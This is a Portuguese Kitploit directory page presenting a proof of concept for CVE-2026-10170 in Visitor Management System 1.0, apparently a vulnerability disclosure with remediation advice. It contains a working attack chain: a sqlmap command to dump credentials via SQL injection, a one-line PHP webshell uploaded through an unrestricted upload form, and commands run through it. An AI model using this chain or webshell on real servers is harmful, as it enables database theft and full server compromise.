Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-10170-RCE — Prova de conceito demonstrando injeção de SQL e upload de arquivo sem restrições encadeados para alcançar execução remota de código no Visitor Management System 1.0, incluindo exploração passo a passo e orientações de remediação. | Kitploit
Ferramentas/GitHubGitHub/xmyronn/cve-2026-10170-rce
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoDesenvolvimento de Payloads
GitHubxmyronn/cve-2026-10170-rce

CVE-2026-10170-RCE

Prova de conceito demonstrando injeção de SQL e upload de arquivo sem restrições encadeados para alcançar execução remota de código no Visitor Management System 1.0, incluindo exploração passo a passo e orientações de remediação.

Ver Repositório
3há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Visitor Management System 1.0 - SQLi para Execução Remota de Código (Cadeia de Ataque)

Informações da Vulnerabilidade

CampoDetalhes
ProdutoVisitor Management System
Fornecedorcode-projects.org
Versão1.0
Classes de VulnerabilidadeInjeção de SQL (CWE-89) + Upload de Arquivo sem Restrições (CWE-434)
ID CVEPendente
Pontuação CVSS9.8 Crítico (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Autenticação NecessáriaPrivilégio baixo (conta de guarda) como ponto de entrada
Arquivos Afetados/vms/php/pass.php, /vms/php/admin_user_0.php
Parâmetro Vulnerávelphone (POST)

Descrição

O Visitor Management System 1.0 da code-projects.org é vulnerável a uma cadeia de ataque crítica que combina Injeção de SQL e Upload de Arquivo sem Restrições, levando à Execução Remota de Código.

Um atacante com acesso de baixo privilégio (conta de guarda) pode explorar uma vulnerabilidade de injeção de SQL em pass.php por meio do parâmetro POST phone para despejar todo o banco de dados — incluindo credenciais de administrador em texto puro. Usando as credenciais extraídas para autenticar como administrador, o atacante pode então enviar um webshell PHP através do painel de gerenciamento de Usuários Administradores (admin_user_0.php), que não realiza nenhuma validação de tipo de arquivo ou extensão. O webshell enviado é armazenado em um diretório acessível pela web e pode ser executado diretamente via URL, resultando em Execução Remota de Código completa no servidor.

Além disso, as senhas são armazenadas em texto puro no banco de dados, o que significa que nenhuma etapa de quebra de hash é necessária após o despejo via SQLi.


Visão Geral da Cadeia de Ataque

root@kitploit:~
Login de guarda com baixo privilégio
        ↓
Injeção de SQL em pass.php (parâmetro phone)
        ↓
Despejo via sqlmap → credenciais de administrador em texto puro extraídas
        ↓
Login como administrador (sanjay1:7861)
        ↓
Upload de arquivo sem restrições em admin_user_0.php
        ↓
Webshell PHP enviado para /vms/php/folder/
        ↓
RCE via ?cmd=whoami → comprometimento total do servidor

Prova de Conceito Passo a Passo

Passo 1 — Login como Usuário de Baixo Privilégio (Guarda)

Navegue até o aplicativo VMS e faça login com as credenciais de guarda. Após o login, navegue até a página de Número de Telefone:

root@kitploit:~
http://<ALVO>/vms/php/phone_0.php
Screenshot 2026-05-05 034206

Passo 2 — Confirmar Injeção de SQL em pass.php

Envie uma aspa simples ' como valor do número de telefone. O aplicativo lança um erro fatal do MariaDB expondo a consulta bruta e o caminho do arquivo:

root@kitploit:~
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; 
check the manual that corresponds to your MariaDB server version for the right 
syntax to use near '2026-05-05'' at line 1 in 
C:\xampp\htdocs\vms\php\pass.php:9
Stack trace:
#0 C:\xampp\htdocs\vms\php\pass.php(9): mysqli_query(Object(mysqli), 'select * from i...')

Arquivo afetado: pass.php linha 9
Parâmetro vulnerável: phone (POST)

Screenshot 2026-05-05 034215

erro de sql Screenshot 2026-05-05 034228


Passo 3 — Explorar SQLi com sqlmap

Salve a solicitação capturada no Burp Suite em um arquivo (sqli.txt) e execute o sqlmap:

root@kitploit:~
sqlmap -r sqli.txt --dump --batch

O sqlmap despeja com sucesso a tabela login_user do banco de dados vms, revelando credenciais em texto puro para todos os usuários:

root@kitploit:~
Database: vms
Table: login_user
[2 entries]
+----+---------+------------+---------+-------+--------+----------+-----------+
| id | image   | phone      | name    | user  | gender | password | username  |
+----+---------+------------+---------+-------+--------+----------+-----------+
| 1  | <blank> | 8146905071 | sanjay  | guard | male   | 786      | sanjay123 |
| 2  | <blank> | 8146905071 | sanjay1 | admin | male   | 7861     | sanjay1   |
+----+---------+------------+---------+-------+--------+----------+-----------+

Observação: As senhas são armazenadas em texto puro — nenhuma quebra de hash é necessária.

Screenshot 2026-05-05 034316

Passo 4 — Login como Administrador

Usando as credenciais de administrador extraídas, faça login no painel administrativo:

root@kitploit:~
Usuário: sanjay1
Senha: 7861

O painel administrativo completo agora está acessível, incluindo gerenciamento de Funcionários, Departamentos, Usuários Administradores e Relatórios.

Screenshot 2026-05-05 034353

Passo 5 — Enviar Webshell PHP via Painel de Usuários Administradores

Navegue até a página de gerenciamento de Usuários Administradores:

root@kitploit:~
http://<ALVO>/vms/php/admin_user_0.php

A página contém um campo de upload de arquivo para uma imagem de perfil. O aplicativo não realiza nenhuma validação de tipo de arquivo, nenhum filtro de extensão e nenhuma verificação de tipo MIME.

Preencha o formulário com quaisquer valores e envie o seguinte webshell PHP como o arquivo de imagem (web2_command.php):

root@kitploit:~
<?php echo shell_exec($_GET['cmd']); ?>
Screenshot 2026-05-05 034416

Passo 6 — Confirmar o Upload do Webshell

Navegue até a página de exibição de Usuários Administradores:

root@kitploit:~
http://<ALVO>/vms/php/admin_display_0.php

A conta de administrador recém-criada é visível na tabela. O webshell enviado está armazenado em:

root@kitploit:~
http://<ALVO>/vms/php/folder/web2_command.php
Screenshot 2026-05-05 034429

Passo 7 — Execução Remota de Código

Execute comandos arbitrários do sistema através do webshell:

root@kitploit:~
http://<ALVO>/vms/php/folder/web2_command.php?cmd=whoami

Resultado: O servidor retorna o usuário atual do sistema confirmando a Execução Remota de Código completa:

root@kitploit:~
desktop-g1i9np3\dell
Screenshot 2026-05-05 034438

Impacto

  • Comprometimento total do banco de dados — todas as tabelas despejadas via SQLi, incluindo credenciais em texto puro
  • Assunção da conta de administrador — senhas em texto puro não exigem quebra de hash
  • Execução Remota de Código — comandos arbitrários do sistema operacional executados como o usuário do servidor web
  • Comprometimento total do servidor — controle completo sobre o host subjacente
  • Armazenamento de senhas em texto puro — amplifica o impacto do SQLi, credenciais imediatamente utilizáveis

Resumo dos Arquivos Afetados

ArquivoVulnerabilidade
/vms/php/pass.phpInjeção de SQL via parâmetro POST phone
/vms/php/admin_user_0.phpUpload de Arquivo sem Restrições — nenhuma validação de extensão ou MIME
/vms/php/folder/Diretório de armazenamento do webshell — acessível pela web, sem restrições

Remediação

Para Injeção de SQL:

root@kitploit:~
$stmt = $conn->prepare("SELECT * FROM login_user WHERE phone = ?");
$stmt->bind_param("s", $phone);
$stmt->execute();

Para Upload de Arquivo:

  • Use uma lista de permissões de extensões permitidas (apenas jpg, png, gif)
  • Valide o tipo MIME no lado do servidor
  • Armazene os uploads fora da raiz web
  • Renomeie os arquivos enviados para strings aleatórias

Para Armazenamento de Senhas:

  • Use password_hash() e password_verify() — nunca armazene em texto puro

Referências

  • Página do Fornecedor
  • CWE-89: Injeção de SQL
  • CWE-434: Upload sem Restrições de Arquivo com Tipo Perigoso
  • Folha de Dicas de Upload de Arquivo da OWASP

Descobridor

  • Pesquisador: Imad Alvi
  • VulDB: imad alvi
Baixar ferramenta